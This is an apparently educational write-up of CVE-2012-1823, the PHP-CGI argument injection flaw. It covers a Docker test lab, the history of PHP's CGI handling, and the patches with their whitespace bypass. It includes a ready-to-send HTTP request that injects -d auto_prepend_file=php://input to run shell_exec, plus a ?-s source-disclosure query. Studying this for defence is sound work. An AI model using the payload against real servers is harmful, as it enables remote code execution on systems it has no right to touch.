
Educational PoC and analysis of CVE-2012-1823, a PHP-CGI remote code execution vulnerability. Includes Docker-based test environment, exploit demonstration, and detailed technical breakdown of the root cause and bypasses.
Build and run environment:
docker-compose build
docker-compose up -d
After the environment starts, visit http://your-ip:8080/ to see "Hello".
Visiting http://your-ip:8080/index.php?-s will reveal the source code, confirming the vulnerability exists. Send the following packet, and you can see that the code in the body has been executed:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
First, let's introduce the operation modes of PHP.
Download the PHP source code and you will see a directory called sapi. The role of sapi in PHP is similar to a "messenger". For example, the fpm I introduced in the article "Fastcgi Protocol Analysis && PHP-FPM Unauthorized Access Vulnerability && Exploit Writing" accepts data encapsulated by the web container via the fastcgi protocol and passes it to the PHP interpreter for execution.
Apart from fpm, the most common sapi is mod_php for Apache, which is used for data exchange between PHP and Apache.
php-cgi is also a sapi. In ancient times, the operation mode of web applications was very simple. After the web container received an HTTP packet, it would obtain the user-requested file (cgi script), fork a child process (interpreter) to execute this file, then get the execution result and return it directly to the user, and the interpreter child process would end. Web applications based on languages like bash and perl mostly executed in this way, which is generally called CGI. When installing Apache, there is a default cgi-bin directory, which was originally used to place these CGI scripts.
However, the CGI mode has a fatal drawback. As we all know, process creation and scheduling have certain overheads, and the number of processes is not unlimited. Therefore, websites running in CGI mode usually cannot handle a large number of requests simultaneously, otherwise each request would spawn a child process, potentially overwhelming the server. So later, FastCGI emerged. A FastCGI process can run in the background continuously, accept data packets via the FastCGI protocol, execute them, and return results without terminating itself.
PHP has a sapi called php-cgi, which has two functions: one is to provide CGI-style interaction, and the other is to provide FastCGI-style interaction. That is, we can let the web container directly fork a php-cgi process to execute a script, just like Perl; or we can run php-cgi -b 127.0.0.1:9000 (php-cgi as a FastCGI manager) in the background, and let the web container interact with port 9000 using the FastCGI protocol.
So what is fpm that I mentioned earlier? Why does PHP have two FastCGI managers? PHP indeed has two FastCGI managers: php-cgi can run in FastCGI mode, and fpm also runs in FastCGI mode. However, fpm was introduced after PHP 5.3 and is a more efficient FastCGI manager. Its many advantages are not elaborated here; you can dig into the source code yourself. Because fpm has more advantages, more and more web applications now use php-fpm to run PHP.
Back to this vulnerability. CVE-2012-1823 is a vulnerability that appeared in the php-cgi sapi. I introduced two operation modes provided by php-cgi above: CGI and FastCGI. This vulnerability only occurs in PHP running in CGI mode.
Simply put, this vulnerability is that the user's request querystring is treated as arguments to php-cgi, ultimately leading to a series of consequences.
To explore the principle, RFC3875 stipulates that when the querystring does not contain an unencoded = sign, the querystring should be passed as CGI parameters. Therefore, the Apache server implemented this feature as required.
However, PHP did not notice this rule in the RFC. Perhaps it was noticed and handled at some point, with the handling method being that parameters were not allowed to be passed in the web context. But in 2004, a developer made the following statement:
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
In our SAPI cgi we have a check along these lines:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.
The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:
#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>
and have it work both from the command line and from a web context.
As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.
-Rasmus
Obviously, this developer wanted to facilitate testing by using syntax like #!/usr/local/bin/php-cgi -d include_path=/path, and believed that php-cgi should not be restricted from accepting command line arguments, and that this functionality did not conflict with any other code.
Therefore, if(!cgi) getopt(...) was removed.
But obviously, according to the RFC's description of command line, command line arguments can be passed to php-cgi not only via #!/usr/local/bin/php-cgi -d include_path=/path, but also via the querystring.
This is the historical cause of this vulnerability.
So, what can be done by controlling command line arguments?
By reading the source code, I found the following parameters available in CGI mode:
-c Specify the location of php.ini file-n Do not load php.ini file-d Specify configuration items-b Start FastCGI process-s Display file source code-T Execute the file a specified number of times-h and -? Display helpThe simplest way to exploit is of course -s, which can directly display the source code:

But those who have read my article on fastcgi should quickly think of a better method: by using -d to specify auto_prepend_file to create an arbitrary file inclusion vulnerability and execute arbitrary code:

Note: spaces are replaced with + or %20, and = is URL-encoded.
After this vulnerability was disclosed, the PHP official fixed it by releasing new versions 5.4.2 and 5.3.12. However, the fix was incomplete and could be bypassed, leading to the CVE-2012-2311 vulnerability.
PHP's fix was to check for -:
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}
It can be seen that after obtaining and decoding the querystring, if the first character is -, skip_getopt is set, meaning no command line arguments are retrieved.
The insecurity of this fix lies in the case where the administrator wraps php-cgi in a shell script:
#!/bin/sh
exec /usr/local/bin/php-cgi $*
By using whitespace followed by -, arguments can also be passed. In this case, the first character of the querystring is whitespace instead of -, bypassing the above check.
Therefore, further modifications were made in PHP 5.4.3 and 5.3.13:
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
First, skip all leading whitespace characters (all characters <= space), then check if the first character is -.